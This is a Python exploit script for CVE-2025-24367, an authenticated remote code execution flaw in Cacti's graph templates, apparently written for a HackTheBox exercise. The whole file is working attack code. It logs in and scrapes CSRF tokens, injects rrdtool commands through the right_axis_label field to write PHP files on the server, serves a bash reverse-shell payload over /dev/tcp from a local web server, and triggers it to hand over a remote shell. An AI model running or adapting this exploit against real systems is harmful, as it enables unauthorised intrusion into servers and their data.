########################################################### # # # CVE-2025-24367 - Cacti Authenticated Graph Template RCE # # Created by TheCyberGeek @ HackTheBox # # For educational purposes only # # # ########################################################### import argparse import requests import sys import re import time import random import string import http.server import os import socketserver import threading from pathlib import Path from urllib.parse import quote_plus from bs4 import BeautifulSoup SESSION = requests.Session() """ Custom HTTP logging class """ class CustomHTTPRequestHandler(http.server.SimpleHTTPRequestHandler): def log_message(self, format, *args): if args[1] == '200': print(f"[+] Got payload: {self.path}") else: pass """ Web server class with start and stop functionalities in working directory """ class BackgroundHTTPServer: def __init__(self, directory, port=80): self.directory = directory self.port = port self.httpd = None self.server_thread = None def start(self): os.chdir(self.directory) handler = CustomHTTPRequestHandler self.httpd = socketserver.TCPServer(("", self.port), handler) self.server_thread = threading.Thread(target=self.httpd.serve_forever) self.server_thread.daemon = True self.server_thread.start() print(f"[+] Serving HTTP on port {self.port}") def stop(self): if self.httpd: self.httpd.shutdown() self.httpd.server_close() self.server_thread.join() print(f"[+] Stopped HTTP server on port {self.port}") """ Check if instance is Cacti """ def check_cacti(url: str) -> None: req = requests.get(url) if "Cacti" in req.text: print("[+] Cacti Instance Found!") else: print("[!] No Cacti Instance was found, exiting...") exit(1) """ Log into the Cacti instance """ def login(url: str, username: str, password: str, ip: str, port: int, proxy: dict | None) -> None: res = SESSION.get(url, proxies=proxy) match = re.search(r'var csrfMagicToken\s=\s"(sid:[a-z0-9]+,[a-z0-9]+)', res.text) csrf_magic_token = match.group(1) data = { '__csrf_magic': csrf_magic_token, 'action': 'login', 'login_username': username, 'login_password': password } req = SESSION.post(url + '/cacti/index.php', data=data, proxies=proxy) if 'You are now logged into' in req.text: print('[+] Login Successful!') return True else: print('[!] Login Failed :(') http_server.stop() exit(1) """ Write bash payload """ def write_payload(ip: str, port: int) -> None: with open("bash", "w") as f: f.write(f"#!/bin/bash\nbash -i >& /dev/tcp/{ip}/{port} 0>&1") f.close() """ Get the template ID required for exploitation (Unix - Logged In Users) """ def get_template_id(url: str, proxy: dict | None) -> int: graph_template_search = SESSION.get(url + '/cacti/graph_templates.php?filter=Unix - Logged in Users&rows=-1&has_graphs=false', proxies=proxy) soup = BeautifulSoup(graph_template_search.text, "html.parser") elem = soup.find("input", id=re.compile(r"chk_\d+")) if elem: template_id = int(elem["id"].split("_")[1]) print(f"[+] Got graph ID: {template_id}") else: print("[!] Failed to get template ID") http_server.stop() exit(1) return template_id """ Trigger the payload in multiple requests """ def trigger_payload(url: str, ip: str, stage: str, template_id: int, proxy: dict | None) -> None: # Edit graph template graph_template_page = SESSION.get(url + f'/cacti/graph_templates.php?action=template_edit&id={template_id}', proxies=proxy) match = re.search(r'var csrfMagicToken\s=\s"(sid:[a-z0-9]+,[a-z0-9]+)', graph_template_page.text) csrf_magic_token = match.group(1) # Generate random filename get_payload_filename = ''.join(random.choices(string.ascii_letters + string.digits, k=5)) + ".php" trigger_payload_filename = ''.join(random.choices(string.ascii_letters + string.digits, k=5)) + ".php" # Change payload based on stage if stage == "write payload": print(f"[i] Created PHP filename: {get_payload_filename}") right_axis_label = ( f"XXX\n" f"create my.rrd --step 300 DS:temp:GAUGE:600:-273:5000 " f"RRA:AVERAGE:0.5:1:1200\n" f"graph {get_payload_filename} -s now -a CSV " f"DEF:out=my.rrd:temp:AVERAGE LINE1:out:\n" ) else: print(f"[i] Created PHP filename: {trigger_payload_filename}") right_axis_label = ( f"XXX\n" f"create my.rrd --step 300 DS:temp:GAUGE:600:-273:5000 " f"RRA:AVERAGE:0.5:1:1200\n" f"graph {trigger_payload_filename} -s now -a CSV " f"DEF:out=my.rrd:temp:AVERAGE LINE1:out:\n" ) data = { "__csrf_magic": csrf_magic_token, "name": "Unix - Logged in Users", "graph_template_id": template_id, "graph_template_graph_id": template_id, "save_component_template": "1", "title": "|host_description| - Logged in Users", "vertical_label": "percent", "image_format_id": "3", "height": "200", "width": "700", "base_value": "1000", "slope_mode": "on", "auto_scale": "on", "auto_scale_opts": "2", "auto_scale_rigid": "on", "upper_limit": "100", "lower_limit": "0", "unit_value": "", "unit_exponent_value": "", "unit_length": "", "right_axis": "", "right_axis_label": right_axis_label, "right_axis_format": "0", "right_axis_formatter": "0", "left_axis_formatter": "0", "auto_padding": "on", "tab_width": "30", "legend_position": "0", "legend_direction": "0", "rrdtool_version": "1.7.2", "action": "save" } # Update the template get_file = SESSION.post(url + '/cacti/graph_templates.php?header=false', data=data, allow_redirects=True, proxies=proxy) # Trigger execution trigger_write = SESSION.get(url + f'/cacti/graph_json.php?rra_id=0&local_graph_id=3&graph_start=1761683272&graph_end=1761769672&graph_height=200&graph_width=700') # Get payloads try: if stage == "write payload": res = SESSION.get(url + f'/cacti/{get_payload_filename}') else: res = SESSION.get(url + f'/cacti/{trigger_payload_filename}', timeout=2) except requests.Timeout: print("[+] Hit timeout, looks good for shell, check your listener!") return if "File not found" in res.text: print("[!] Exploit failed to execute!") http_server.stop() exit(1) """ Main function to parse args and trigger execution """ if __name__ == '__main__': parser = argparse.ArgumentParser(prog='CVE-2025-24367 - Cacti Authenticated Graph Template RCE') parser.add_argument('-u', '--user', type=str, required=True, help='Username for login') parser.add_argument('-p', '--password', type=str, required=True, help='Password for login') parser.add_argument('-i', '--ip', type=str, required=True, help='IP address for reverse shell') parser.add_argument('-l', '--port', type=str, required=True, help='Port number for reverse shell') parser.add_argument('-url', '--url', type=str, required=True, help='Base URL of the application') parser.add_argument('--proxy', action='store_true', help='Enable proxy usage (default: http://127.0.0.1:8080)') args = parser.parse_args() proxy = {'http': 'http://127.0.0.1:8080'} if args.proxy else None check_cacti(args.url) http_server = BackgroundHTTPServer(os.getcwd(), 80) http_server.start() login(args.url, args.user, args.password, args.ip, args.port, proxy) template_id = get_template_id(args.url, proxy) write_payload(args.ip, args.port) trigger_payload(args.url, args.ip, "write payload", template_id, proxy) trigger_payload(args.url, args.ip, "trigger payload", template_id, proxy) http_server.stop() Path("bash").unlink(missing_ok=True)